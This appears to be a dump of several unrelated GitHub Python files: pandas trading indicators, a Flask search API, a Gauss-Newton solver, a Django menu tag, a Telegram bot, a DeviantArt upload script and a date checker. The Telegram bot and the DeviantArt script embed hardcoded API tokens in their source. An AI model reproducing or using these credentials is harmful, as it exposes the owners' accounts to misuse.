pd.Series\n Series that contains the simple moving average.\n\n Examples\n --------\n >>> ts['sma50'] = pf.SMA(ts, timeperiod=50)\n \"\"\"\n s = ts[price] if isinstance(ts, pd.DataFrame) else ts\n return s.rolling(timeperiod).mean()\n\n\n########################################################################\n# EMA\n\ndef EMA(ts, timeperiod=30, price='close'):\n \"\"\"\n This indicator computes an exponential moving average.\n\n Can be used in place of talib EMA.\n\n ts : pd.DateFrame or pd.Series\n A dataframe with 'open', 'high', 'low', 'close', 'volume' or\n a series of price data.\n timeperiod: int, optional\n The timeperiod for the moving average (default is 30).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n Not used if `ts` is a series.\n\n Returns\n -------\n pd.Series\n Series that contains the simple moving average.\n\n Examples\n --------\n >>> ts['ema50'] = pf.EMA(ts, timeperiod=50)\n \"\"\"\n s = ts[price] if isinstance(ts, pd.DataFrame) else ts\n return s.ewm(span=timeperiod, min_periods=timeperiod, adjust=False).mean()\n\n\n########################################################################\n# CROSSOVER\n\nclass TradeCrossOverError(IndicatorError):\n \"\"\"\n Invalid timeperiod specified.\n \"\"\"\n pass\n\n\nclass _CrossOver:\n \"\"\"\n This is a helper class to implement the CROSSOVER function.\n\n The class provides the apply callback for pd.DataFrame.apply()\n in CROSSOVER. It also keeps track of _r, explained below.\n\n _r indicates regime direction and duration, i.e. 50 means a bull\n market that has persisted for 50 days, whereas -20 means a bear\n market that has persisted for 20 days.\n _r is incremented(decremented) each day a bull(bear) market persists\n _r remains unchanged when fast_ma within band of slow_ma\n _r indicates the number of trading days a trend has persisted\n _r is nan, then sma_slow is nan\n _r > 0, then bull market, fast_ma > slow_ma\n _r < 0, then bear market, fast_ma < slow_ma\n _r == 0, no trend established yet\n \"\"\"\n def __init__(self):\n \"\"\"\n Initialize instance variables.\n\n Attributes\n ----------\n _r : int\n Indicates regime direction and duration.\n \"\"\"\n self._r = 0\n\n def apply(self, row, band=0):\n \"\"\"\n Implements the regime change logic.\n\n Parameters\n ----------\n row : pd.Series\n A row of data from the dataframe.\n band : int {0-100}\n Percent band (default is 0, which is no band).\n\n Returns\n -------\n _r : int\n Indicates regime direction and duration.\n \"\"\"\n if pd.isnull(row['__sma_slow__']):\n self._r = np.nan\n elif row['__sma_fast__'] > row['__sma_slow__']*(1+band/100):\n self._r = self._r + 1 if self._r > 0 else 1\n elif row['__sma_fast__'] < row['__sma_slow__']*(1-band/100):\n self._r = self._r -1 if self._r < 0 else -1\n else:\n pass\n return self._r\n\n\ndef CROSSOVER(ts, timeperiod_fast=50, timeperiod_slow=200,\n func_fast=SMA, func_slow=SMA, band=0,\n price='close', prevday=False):\n \"\"\"\n This indicator is used to represent regime direction and duration.\n\n For example, an indicator value of 50 means a bull market that has\n persisted for 50 days, whereas -20 means a bear market that has\n persisted for 20 days.\n\n More generally, this is a crossover indicator for two moving\n averages. The indicator is positive when the fast moving average\n is above the slow moving arverage, and negative when the fast\n moving average is below the slow moving average.\n\n Parameters\n ----------\n ts : pd.DateFrame\n A dataframe with 'open', 'high', 'low', 'close', 'volume'.\n timeperiod_fast : int, optional\n The timeperiod for the fast moving average (default is 50).\n timeperiod_slow : int, optional\n The timeperiod for the slow moving average (default is 200).\n func_fast : Function, optional\n {pf.SMA, pf.EMA} (pinkfish functions) or\n {SMA, DEMA, EMA, KAMA, T3, TEMA, TRIMA, WMA} (ta-lib functions)\n The function for fast moving average (default is pf.SMA).\n MAMA not compatible.\n func_slow : Function, optional\n {pf.SMA, pf.EMA} (pinkfish functions) or\n {SMA, DEMA, EMA, KAMA, T3, TEMA, TRIMA, WMA} (ta-lib functions)\n The function for fast moving average (default is pf.SMA).\n MAMA not compatible.\n band : float, {0-100}, optional\n Percent band around the slow moving average.\n (default is 0, which implies no band is used).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n prevday : bool, optional\n True will shift the series forward. Unless you are buying\n on the close, you'll likely want to set this to True.\n It gives you the previous day's CrossOver (default is False).\n\n Returns\n -------\n s : pd.Series\n Series that contains the rolling regime indicator values.\n\n Raises\n ------\n TradeCrossOverError\n If one of the timeperiods specified is invalid.\n\n Examples\n --------\n >>> ts['regime'] = pf.CROSSOVER(ts, timeperiod_fast=50,\n timeperiod_slow=200)\n \"\"\"\n if (timeperiod_fast < 1 or timeperiod_slow < 2\n or timeperiod_fast >= timeperiod_slow):\n raise TradeCrossOverError\n\n ts['__sma_fast__'] = ts[price] if timeperiod_fast == 1 else \\\n func_fast(ts, timeperiod=timeperiod_fast, price=price)\n\n ts['__sma_slow__'] = \\\n func_slow(ts, timeperiod=timeperiod_slow, price=price)\n\n func = _CrossOver().apply\n s = ts.apply(func, band=band, axis=1)\n if prevday:\n s = s.shift()\n ts.drop(['__sma_fast__', '__sma_slow__'], axis=1, inplace=True)\n return s\n\n\n########################################################################\n# MOMENTUM\n\ndef MOMENTUM(ts, lookback=1, time_frame='monthly', price='close', prevday=False):\n \"\"\"\n This indicator is used to represent momentum is security prices.\n\n Percent price change is used to calculate momentum. Momentum\n is positive if the price since the lookback period has increased.\n Likewise, if price has decreased since the lookback period,\n momentum is negative. Percent change is used to normalize\n asset prices for comparison.\n\n Parameters\n ----------\n ts : pd.DateFrame\n A dataframe with 'open', 'high', 'low', 'close', 'volume'.\n lookback : int, optional\n The number of time frames to lookback, e.g. 2 months\n (default is 1).\n timeframe : str, optional {'monthly', 'daily', 'weekly', 'yearly'}\n The unit or timeframe type of lookback (default is 'monthly').\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n prevday : bool, optional\n True will shift the series forward. Unless you are buying\n on the close, you'll likely want to set this to True.\n It gives you the previous day's Momentum (default is False).\n\n Returns\n -------\n s : pd.Series\n Series that contains the rolling momentum indicator values.\n\n Raises\n ------\n ValueError\n If the lookback is not positive or the time_frame is invalid.\n\n Examples\n --------\n >>> ts['mom'] = pf.MOMENTUM(ts, lookback=6, time_frame='monthly')\n \"\"\"\n if lookback < 1:\n raise ValueError('lookback must be positive')\n\n if time_frame =='daily': factor = 1\n elif time_frame =='weekly': factor = pfstatistics.TRADING_DAYS_PER_WEEK\n elif time_frame =='monthly': factor = pfstatistics.TRADING_DAYS_PER_MONTH\n elif time_frame =='yearly': factor = pfstatistics.TRADING_DAYS_PER_YEAR\n else:\n raise ValueError(f'invalid time_frame \"{time_frame}\"')\n\n s = ts[price].pct_change(periods=lookback*factor)\n if prevday:\n s = s.shift()\n\n return s\n\n\n########################################################################\n# VOLATILITY\n\ndef VOLATILITY(ts, lookback=20, time_frame='yearly', downside=False,\n price='close', prevday=False):\n \"\"\"\n This indicator is used to represent volatility in security prices.\n\n Volatility is represented as the standard deviation. Volatility\n is calculated over the lookback period, then we scale to the\n time frame. Volatility scales with the square root of time.\n For example, if the market’s daily volatility is 0.5%, then\n volatility for two days is the square root of 2 times\n the daily volatility (0.5% * 1.414 = 0.707%). We use the square\n root of time to scale from daily to weely, monthly, or yearly.\n\n Parameters\n ----------\n ts : pd.DateFrame\n A dataframe with 'open', 'high', 'low', 'close', 'volume'.\n lookback : int, optional\n The number of time frames to lookback, e.g. 2 months\n (default is 1).\n timeframe : str, optional {'yearly', 'daily', 'weekly', 'monthly'}\n The unit or timeframe used for scaling. For example, if the\n lookback is 20 and the timeframe is 'yearly', then we compute\n the 20 day volatility and scale to 1 year.\n (default is 'yearly').\n downside : bool, optional\n True to calculate the downside volatility (default is False).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n prevday : bool, optional\n True will shift the series forward. Unless you are buying\n on the close, you'll likely want to set this to True.\n It gives you the previous day's Volatility (default is False).\n\n Returns\n -------\n s : pd.Series\n A new column that contains the rolling volatility.\n\n Raises\n ------\n ValueError\n If the lookback is not positive or the time_frame is invalid.\n\n Examples\n --------\n >>> ts['vola'] = pf.VOLATILITY(ts, lookback=20, time_frame='yearly')\n \"\"\"\n if lookback < 1:\n raise ValueError('lookback must be positive')\n\n if time_frame == 'daily': factor = 1\n elif time_frame == 'weekly': factor = pfstatistics.TRADING_DAYS_PER_WEEK\n elif time_frame == 'monthly': factor = pfstatistics.TRADING_DAYS_PER_MONTH\n elif time_frame == 'yearly': factor = pfstatistics.TRADING_DAYS_PER_YEAR\n else:\n raise ValueError(f'invalid time_frame \"{time_frame}\"')\n\n s = ts[price].pct_change()\n if downside:\n s[s > 0] = 0\n s = s.rolling(window=lookback).std() * np.sqrt(factor)\n\n if prevday:\n s = s.shift()\n\n return s\n\n\n########################################################################\n# ANNUALIZED_RETURNS\n\ndef ANNUALIZED_RETURNS(ts, lookback=5, price='close', prevday=False):\n \"\"\"\n Calculate the rolling annualized returns.\n\n Parameters\n ----------\n ts : pd.DateFrame\n A dataframe with 'open', 'high', 'low', 'close', 'volume'.\n lookback : float, optional\n The number of years to lookback, e.g. 5 years. 1/12 can be\n used for 1 month. Likewise 3/12 for 3 months, etc...\n (default is 5).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n prevday : bool, optional\n True will shift the series forward. Unless you are buying\n on the close, you'll likely want to set this to True.\n It gives you the previous day's Volatility (default is False).\n\n Returns\n -------\n s : pd.Series\n Series that contains the rolling annualized returns.\n\n Raises\n ------\n ValueError\n If the lookback is not positive.\n\n Examples\n --------\n >>> annual_returns_1mo = pf.ANNUALIZED_RETURNS(ts, lookback=1/12)\n >>> annual_returns_3mo = pf.ANNUALIZED_RETURNS(ts, lookback=3/12)\n >>> annual_returns_1yr = pf.ANNUALIZED_RETURNS(ts, lookback=1)\n >>> annual_returns_3yr = pf.ANNUALIZED_RETURNS(ts, lookback=3)\n >>> annual_returns_5yr = pf.ANNUALIZED_RETURNS(ts, lookback=5)\n \"\"\"\n def _cagr(s):\n \"\"\"\n Calculate compound annual growth rate.\n\n B = end balance; A = begin balance; n = num years\n \"\"\"\n A = s[0]\n B = s[-1]\n n = len(s)\n if B < 0: B = 0\n return (math.pow(B / A, 1 / n) - 1) * 100\n\n if lookback <= 0:\n raise ValueError('lookback must be positive')\n\n window = int(lookback * pfstatistics.TRADING_DAYS_PER_YEAR)\n s = pd.Series(ts[price]).rolling(window).apply(_cagr)\n if prevday:\n s = s.shift()\n\n return s\n\n\n########################################################################\n# ANNUALIZED_STANDARD_DEVIATION\n\ndef ANNUALIZED_STANDARD_DEVIATION(ts, lookback=3, price='close', prevday=False):\n \"\"\"\n Calculate the rolling annualized standard deviation.\n\n Parameters\n ----------\n ts : pd.DateFrame\n A dataframe with 'open', 'high', 'low', 'close', 'volume'.\n lookback : float, optional\n The number of years to lookback, e.g. 5 years. 1/12 can be\n used for 1 month. Likewise 3/12 for 3 months, etc...\n (default is 5).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n prevday : bool, optional\n True will shift the series forward. Unless you are buying\n on the close, you'll likely want to set this to True.\n It gives you the previous day's Volatility (default is False).\n\n Returns\n -------\n s : pd.Series\n Series that contains the rolling annualized standard deviation.\n\n Raises\n ------\n ValueError\n If the lookback is not positive.\n\n Examples\n --------\n >>> std_dev_1mo = pf.ANNUALIZED_STANDARD_DEVIATION(ts,lookback=1/12)\n >>> std_dev_3mo = pf.ANNUALIZED_STANDARD_DEVIATION(ts, lookback=3/12)\n >>> std_dev_1yr = pf.ANNUALIZED_STANDARD_DEVIATION(ts, lookback=1)\n >>> std_dev_3yr = pf.ANNUALIZED_STANDARD_DEVIATION(ts, lookback=3)\n >>> std_dev_5yr = pf.ANNUALIZED_STANDARD_DEVIATION(ts, lookback=5)\n \"\"\"\n def _std_dev(s):\n \"\"\"\n Calculate the annualized standard deviation.\n \"\"\"\n return np.std(s, axis=0) * math.sqrt(pfstatistics.TRADING_DAYS_PER_YEAR)\n\n if lookback <= 0:\n raise ValueError('lookback must be positive')\n\n window = int(lookback * pfstatistics.TRADING_DAYS_PER_YEAR)\n pc = ts[price].pct_change()\n s = pd.Series(pc).rolling(window).apply(_std_dev)\n if prevday:\n s = s.shift()\n\n return s\n\n\n########################################################################\n# ANNUALIZED_SHARPE_RATIO\n\ndef ANNUALIZED_SHARPE_RATIO(ts, lookback=5, price='close', prevday=False,\n risk_free=0):\n \"\"\"\n Calculate the rolling annualized sharpe ratio.\n\n Parameters\n ----------\n ts : pd.DateFrame\n A dataframe with 'open', 'high', 'low', 'close', 'volume'.\n lookback : float, optional\n The number of years to lookback, e.g. 5 years. 1/12 can be\n used for 1 month. Likewise 3/12 for 3 months, etc...\n (default is 5).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n prevday : bool, optional\n True will shift the series forward. Unless you are buying\n on the close, you'll likely want to set this to True.\n It gives you the previous day's Volatility (default is False).\n risk_free: float, optional\n The risk free rate (default is 0).\n\n Returns\n -------\n s : pd.Series\n Series that contains the rolling annualized sharpe ratio.\n\n Raises\n ------\n ValueError\n If the lookback is not positive.\n\n Examples\n --------\n >>> sharpe_ratio_1mo = pf.ANNUALIZED_SHARPE_RATIO(ts, lookback=1/12)\n >>> sharpe_ratio_3mo = pf.ANNUALIZED_SHARPE_RATIO(ts, lookback=3/12)\n >>> sharpe_ratio_1yr = pf.ANNUALIZED_SHARPE_RATIO(ts, lookback=1)\n >>> sharpe_ratio_3yr = pf.ANNUALIZED_SHARPE_RATIO(ts, lookback=3)\n >>> sharpe_ratio_5yr = pf.ANNUALIZED_SHARPE_RATIO(ts, lookback=5)\n \"\"\"\n def _sharpe_ratio(s):\n \"\"\"\n Calculate the annualized sharpe ratio.\n \"\"\"\n dev = np.std(s, axis=0)\n mean = np.mean(s, axis=0)\n period = len(s)\n sharpe = (mean*period - risk_free) / (dev * np.sqrt(period))\n return sharpe\n\n if lookback <= 0:\n raise ValueError('lookback must be positive')\n\n window = int(lookback * pfstatistics.TRADING_DAYS_PER_YEAR)\n pc = ts[price].pct_change()\n s = pd.Series(pc).rolling(window).apply(_sharpe_ratio)\n if prevday:\n s = s.shift()\n\n return s\n","repo_name":"fja05680/pinkfish","sub_path":"pinkfish/indicator.py","file_name":"indicator.py","file_ext":"py","file_size_in_byte":17874,"program_lang":"python","lang":"en","doc_type":"code","stars":254,"dataset":"github-code","pt":"82"} +{"seq_id":"38753807387","text":"import json\nimport logging\n\nfrom flask import current_app, request, abort\n\nfrom cmdb.framework.cmdb_object_manager import CmdbObjectManager\nfrom cmdb.interface.route_utils import make_response, insert_request_user, login_required\nfrom cmdb.search import Search\nfrom cmdb.search.params import SearchParam\nfrom cmdb.search.query import Pipeline\nfrom cmdb.search.searchers import SearcherFramework, SearchPipelineBuilder, QuickSearchPipelineBuilder\nfrom cmdb.user_management.models.user import UserModel\nfrom cmdb.interface.blueprint import APIBlueprint\nfrom cmdb.security.acl.permission import AccessControlPermission\n\nwith current_app.app_context():\n object_manager: CmdbObjectManager = CmdbObjectManager(current_app.database_manager, current_app.event_queue)\n\nLOGGER = logging.getLogger(__name__)\nsearch_blueprint = APIBlueprint('search_rest', __name__, url_prefix='/search')\n\n\n@search_blueprint.route('/quick/count', methods=['GET'])\n@search_blueprint.route('/quick/count/', methods=['GET'])\n@search_blueprint.protect(auth=True)\n@insert_request_user\ndef quick_search_result_counter(request_user: UserModel):\n search_term = request.args.get('searchValue', Search.DEFAULT_REGEX, str)\n builder = QuickSearchPipelineBuilder()\n only_active = _fetch_only_active_objs()\n pipeline: Pipeline = builder.build(search_term=search_term, user=request_user,\n permission=AccessControlPermission.READ,\n active_flag=only_active)\n try:\n result = list(object_manager.aggregate(collection='framework.objects', pipeline=pipeline))\n except Exception as err:\n LOGGER.error(f'[Search count]: {err}')\n return abort(400)\n if len(result) > 0:\n return make_response(result[0])\n else:\n return make_response({'active': 0, 'inactive': 0, 'total': 0})\n\n\n@search_blueprint.route('/', methods=['GET', 'POST'])\n@login_required\n@insert_request_user\ndef search_framework(request_user: UserModel):\n try:\n limit = request.args.get('limit', Search.DEFAULT_LIMIT, int)\n skip = request.args.get('skip', Search.DEFAULT_SKIP, int)\n only_active = _fetch_only_active_objs()\n search_params: dict = request.args.get('query') or '{}'\n resolve_object_references: bool = request.args.get('resolve', False)\n except ValueError as err:\n return abort(400, err)\n try:\n if request.method == 'GET':\n search_parameters = json.loads(search_params)\n elif request.method == 'POST':\n search_params = json.loads(request.data)\n search_parameters = SearchParam.from_request(search_params)\n else:\n return abort(405)\n except Exception as err:\n LOGGER.error(f'[Search Framework]: {err}')\n return abort(400, err)\n try:\n searcher = SearcherFramework(manager=object_manager)\n builder = SearchPipelineBuilder()\n\n query: Pipeline = builder.build(search_parameters, object_manager,\n user=request_user,\n permission=AccessControlPermission.READ, active_flag=only_active)\n\n result = searcher.aggregate(pipeline=query, request_user=request_user, limit=limit, skip=skip,\n resolve=resolve_object_references, permission=AccessControlPermission.READ,\n active=only_active)\n\n except Exception as err:\n LOGGER.error(f'[Search Framework Rest]: {err}')\n return make_response([], 204)\n\n return make_response(result)\n\n\ndef _fetch_only_active_objs():\n \"\"\"\n Checking if request have cookie parameter for object active state\n Returns:\n True if cookie is set or value is true else false\n \"\"\"\n if request.args.get('onlyActiveObjCookie') is not None:\n value = request.args.get('onlyActiveObjCookie')\n if value in ['True', 'true']:\n return True\n return False\n","repo_name":"DATAGerry/DATAGerry","sub_path":"cmdb/interface/rest_api/search_routes.py","file_name":"search_routes.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"82"} +{"seq_id":"7547566614","text":"import numpy as np\nfrom numpy import ndarray\nfrom typing import Callable\n\ndef jacobian2point(\n resfun : Callable, \n p : ndarray, \n epsilon : float\n )->ndarray:\n r = resfun(p)\n J = np.empty((len(r), len(p)))\n for j in range(len(p)):\n pj0 = p[j]\n p[j] = pj0 + epsilon\n rpos = resfun(p)\n p[j] = pj0 - epsilon\n rneg = resfun(p)\n p[j] = pj0\n J[:,j] = rpos - rneg\n return J / (2.0*epsilon)\n\ndef gauss_newton(\n resfun : Callable, \n jacfun : Callable, \n p0 : ndarray, \n step_size : float, \n tolerance : float,\n num_steps : int\n )->ndarray:\n r = resfun(p0)\n J = jacfun(p0)\n p = p0.copy()\n p_prev = p.copy()\n print(J)\n for iteration in range(num_steps):\n A = J.T @ J # Task 1.5 says that this should be singular, and that a warning should occur. This is not observed\n if np.linalg.det(A) <= 0:\n print(\"Indeterminant at iteration: \", iteration)\n # print(np.linalg.det(A))\n print(A)\n \n b = -J.T @ r\n d = np.linalg.solve(A, b)\n p = p + step_size * d\n\n if np.linalg.norm(p - p_prev) < tolerance:\n # print(\"Tolerance reached after {} iterations\".format(iteration))\n # break\n pass\n p_prev = p.copy()\n\n r = resfun(p)\n J = jacfun(p)\n\n return p\n","repo_name":"Bjarne1Fan/TTK4255","sub_path":"Projects/Midterm/python/gauss_newton.py","file_name":"gauss_newton.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20089589309","text":"from django.template import Library\nfrom django.conf import settings\nimport copy\n\nregister = Library()\n\n\n@register.inclusion_tag('menu.html')\ndef unicom_menu(request):\n # 0.当前用是什么角色?\n role = request.unicom_role\n\n # 1.去session中获取所有菜单信息\n user_menu_list = copy.deepcopy(settings.UNICOM_MENU[role])\n \"\"\"\n user_menu_list = [\n {\"text\": \"user\", 'url': \"/user/\",},\n {\"text\": \"order\", 'url': \"/order/\", 'class':\"active\"},\n {\"text\": \"task\", 'url': \"/work/\"},\n ]\n \"\"\"\n for row in user_menu_list:\n if request.path_info.startswith(row['url']):\n row['class'] = 'active'\n\n return {'menu_list': user_menu_list}\n","repo_name":"CHLCCGA/django-project","sub_path":"app01/templatetags/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70591403788","text":"import argparse\nimport os\nimport requests\nimport winreg\nimport sys\n\nparser = argparse.ArgumentParser(description=\"Upload and publish a file to DeviantArt stash.\")\nparser.add_argument(\"--title\", required=True, help=\"Title of the submission\")\nparser.add_argument(\"--artist_comments\", help=\"Additional comments by the artist\")\nparser.add_argument(\"--tags_csv\", help=\"CSV string of tags for the submission (e.g., 'tag1,tag2,tag3')\")\nparser.add_argument(\"--is_dirty\", action=\"store_true\", help=\"Is the submission currently being edited\")\nparser.add_argument(\"--mature\", choices=[\"yes\", \"no\"], default=\"no\", help=\"Set mature status (yes or no, default is no)\")\nparser.add_argument(\"--mature_level\", choices=[\"strict\", \"moderate\"], default=None, help=\"Mature level of the submission (optional)\")\nparser.add_argument(\"--mature_classification_csv\", default=None, help=\"CSV string of mature classification values (e.g., 'nudity,gore,language') (optional)\")\nparser.add_argument(\"--file\", required=True, help=\"Path to the file to upload\")\n\n# Check for the -h option, and if present, display the help message and exit\nif \"-h\" in sys.argv or \"--help\" in sys.argv:\n parser.print_help()\n sys.exit(0)\n \nregistry_key = r'Software\\_MW'\n\n# Define the value names for Deviantart Code, Client Secret and Client ID\ndeviantart_code_name = 'DeviantartCode'\ndeviantart_client_id_name = 'deviantartClientID'\ndeviantart_client_secret_name = 'deviantartClientSecret'\ndeviantart_access_token_name = 'deviantartAccessToken'\n\n# Initialize variables\ndeviantart_code = \"\"\ndeviantart_client_id = \"\"\ndeviantart_client_secret = \"\"\ndeviantart_access_token = \"\"\n\ntry:\n # Open the Registry key\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_key, 0, winreg.KEY_READ) as key:\n # Try to read the Deviantart Code value\n try:\n deviantart_code, _ = winreg.QueryValueEx(key, deviantart_code_name)\n except FileNotFoundError:\n print(f\"Registry value '{deviantart_code_name}' not found in '{registry_key}'.\")\n\n # Try to read the Deviantart Client ID value\n try:\n deviantart_client_id, _ = winreg.QueryValueEx(key, deviantart_client_id_name)\n except FileNotFoundError:\n print(f\"Registry value '{deviantart_client_id_name}' not found in '{registry_key}'.\")\n\n try:\n deviantart_client_secret, _ = winreg.QueryValueEx(key, deviantart_client_secret_name)\n except FileNotFoundError:\n print(f\"Registry value '{deviantart_client_secret_name}' not found in '{registry_key}'.\")\n\n try:\n deviantart_access_token, _ = winreg.QueryValueEx(key, deviantart_access_token_name)\n except FileNotFoundError:\n print(f\"Registry value '{deviantart_access_token_name}' not found in '{registry_key}'.\")\n\nexcept FileNotFoundError:\n print(f\"Registry key '{registry_key}' not found.\")\nexcept PermissionError:\n print(f\"Permission error: Unable to open the registry key.\")\nexcept Exception as e:\n print(f\"An error occurred: {str(e)}\")\n\n# Print Deviantart Code and Client ID\nif deviantart_code:\n print(f\"Deviantart Code: {deviantart_code}\")\nelse:\n print(\"No Deviantart Code\")\n\nif deviantart_client_id:\n print(f\"Deviantart Client ID: {deviantart_client_id}\")\nelse:\n print(\"No Deviantart Client ID\")\n\nif deviantart_client_secret:\n print(f\"Deviantart Secret: {deviantart_client_secret}\")\nelse:\n print(\"No Deviantart Secret\")\n\n\nif deviantart_access_token:\n print(f\"Deviantart access token: {deviantart_access_token}\")\nelse:\n print(\"No Deviantart access token\")\n\n# Define your API endpoints and access token\nupload_url = \"https://www.deviantart.com/api/v1/oauth2/stash/submit\"\npublish_url = \"https://www.deviantart.com/api/v1/oauth2/stash/publish\"\naccess_token = \"6e35d533b6584606680a963ea60c390b7bff8ef2551488c727\"\n\nitem_id = None # Initialize item_id as None\n\ndef upload_to_deviantart(title, artist_comments, tags, is_dirty, file_path, is_mature=\"no\"):\n if tags:\n tags_list = tags.split(',')\n # Upload the file to DeviantArt\n params = {\n \"title\": title,\n \"artist_comments\": artist_comments,\n \"is_dirty\": is_dirty,\n \"is_mature\": is_mature # Set \"is_mature\" parameter to \"no\" by default\n }\n # Add tags to the parameters with numerical indices\n if tags:\n for index, tag in enumerate(tags.split(',')):\n params[f\"tags[{index}]\"] = tag\n \n files = {\n \"test\": (os.path.basename(file_path), open(file_path, \"rb\"), \"image/png\")\n }\n\n headers = {\n \"Authorization\": f\"Bearer {deviantart_access_token}\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0\" # Replace with your User Agent\n }\n\n response = requests.post(upload_url, data=params, files=files, headers=headers)\n\n if response.status_code == 200:\n data = response.json()\n item_id = data.get(\"itemid\")\n print(\"Upload successful. Item ID:\", item_id)\n return item_id\n else:\n if \"invalid_token\" in response.text:\n print(\"Bad token: The access token is invalid or expired. You need to refresh it.\")\n else:\n print(\"Upload failed. Status code:\", response.status_code)\n print(response.text)\n #here is where a bad token will be shown in the response inlcuding \"{\"error\":\"invalid_token\",\"error_description\":\"Expired oAuth2 user token. The client should request a new one with an access code or a refresh token.\",\"status\":\"error\"}\"\n\n\ndef publish_to_deviantart(item_id, is_mature=\"no\", mature_level=None, mature_classification_csv=None):\n # Define your publish parameters here, including the \"Mature\" status\n publish_params = {\n \"itemid\": item_id,\n \"is_mature\": is_mature,\n \"agree_submission\": \"1\",\n \"agree_tos\": \"1\",\n \"allow_free_download\": \"0\",\n }\n\n if mature_classification_csv:\n mature_classifications = mature_classification_csv.split(',')\n for index, classification in enumerate(mature_classifications):\n publish_params[f\"mature_classification[{index}]\"] = classification\n\n headers = {\n \"Authorization\": f\"Bearer {deviantart_access_token}\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0\" # Replace with your User Agent \n }\n # Make the publish request to DeviantArt\n publish_response = requests.post(publish_url, data=publish_params, headers=headers)\n\n if publish_response.status_code == 200:\n publish_data = publish_response.json()\n print(\"Publish successful. Deviation URL:\", publish_data.get(\"url\"))\n else:\n print(\"Publish failed. Status code:\", publish_response.status_code)\n print(publish_response.text)\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n if args.mature == \"yes\" and args.mature_level is None:\n parser.error(\"If 'mature' is 'yes', 'mature_level' is required.\")\n \n # Convert the CSV string of tags to a list\n if args.tags_csv:\n tags_list = args.tags_csv.split(',')\n\n item_id = upload_to_deviantart(args.title, args.artist_comments, args.tags_csv, args.is_dirty, args.file, args.mature)\n\n if item_id is not None:\n publish_to_deviantart(item_id, args.mature, args.mature_level, args.mature_classification_csv)\n else:\n print(\"WARNING: No ID\")\n\n\n\n","repo_name":"wolfman616/DeviantArt_Upload","sub_path":"DAUpload.py","file_name":"DAUpload.py","file_ext":"py","file_size_in_byte":7424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27588222637","text":"import telebot\nimport time\n\nfrom telebot.types import Message\n\nbot = telebot.TeleBot(\"1906701890:AAE1V60meqDHUUDNtJSgsFR4ibb4x366ILE\")\n\n@bot.message_handler(commands=[\"start\" ])\ndef start (mensaje):\n bot.send_chat_action (1500506100, 'typing')\n time.sleep(3) \n bot.reply_to(mensaje, \"Hola,Un gusto saludarte.\")\n\n@bot.message_handler(commands=[\"comoestas\"])\ndef comoestas (mensaje):\n bot.send_chat_action (1500506100, 'typing')\n time.sleep(3) \n bot.reply_to(mensaje, \"Me siento muy bien. \\nGracias\")\n \n@bot.message_handler(commands=[\"cualestunombre\"]) \ndef cualestunombre (mensaje):\n bot.send_chat_action (1500506100, 'typing')\n time.sleep(3) \n bot.reply_to (mensaje, \"Mi nombre es BotLagos. ¿En que puedo ayudarte?\")\n\n@bot.message_handler(commands=[\"cualestuedad\"]) \ndef cualestuedad (mensaje):\n bot.send_chat_action (1500506100, 'typing')\n time.sleep(3)\n bot.reply_to(mensaje, \"Me siento joven y eso es lo importante\") \n\n@bot.message_handler(commands=[\"dedondeeres\"]) \ndef dedondeeres (mensaje):\n bot.send_chat_action (1500506100, 'typing')\n time.sleep(3)\n bot.reply_to(mensaje, \"No tengo una respuesta para eso .. Dime te puedo ayudar en otra cosa?\")\n\n@bot.message_handler(commands=[\"cualestuedad\"]) \ndef cualestuedad (mensaje):\n bot.send_chat_action (1500506100, 'typing')\n time.sleep(3)\n bot.reply_to(mensaje, \"No tengo una edad definida por ende no cumplo años, mi dueño puede apagarme cuando quiera\")\n\nbot.polling()","repo_name":"lagos19/BotTarea01","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74022576908","text":"import datetime\r\nfrom datetime import timedelta\r\n\r\ndatejour = int(input( \" Jour actuel : \"))\r\ndatemois = int(input( \" Mois actuel : \"))\r\ndateannee = int(input( \" Annee actuelle : \"))\r\n\r\ndatedlcjour = int(input( \" Jour de la DLC : \"))\r\ndatedlcmois = int(input( \" Mois de la DLC : \"))\r\ndatedlcannee = int(input( \" Annee de la DLC : \"))\r\n\r\ndateact = datetime.datetime(dateannee, datemois, datejour)\r\ndatedlc = datetime.datetime(datedlcannee, datedlcmois, datedlcjour)\r\nadddate = datetime.timedelta(days=15)\r\ndatemax = datedlc + adddate\r\n\r\nif(datemax.strftime(\"%Y\")>dateact.strftime(\"%Y\")):\r\n print(\"False\")\r\n \r\nelif(datemax.strftime(\"%Y\")==dateact.strftime(\"%Y\")):\r\n if(datemax.strftime(\"%m\")>=dateact.strftime(\"%m\")):\r\n if(datemax.strftime(\"%d\")>=dateact.strftime(\"%d\")):\r\n print(\"False\")\r\n \r\n elif(datemax.strftime(\"%m\")>dateact.strftime(\"%m\")):\r\n print(\"False\")\r\n \r\n else:\r\n print(\"True\")\r\n else:\r\n print(\"True\")\r\n\r\nelse:\r\n print(\"True\")\r\n 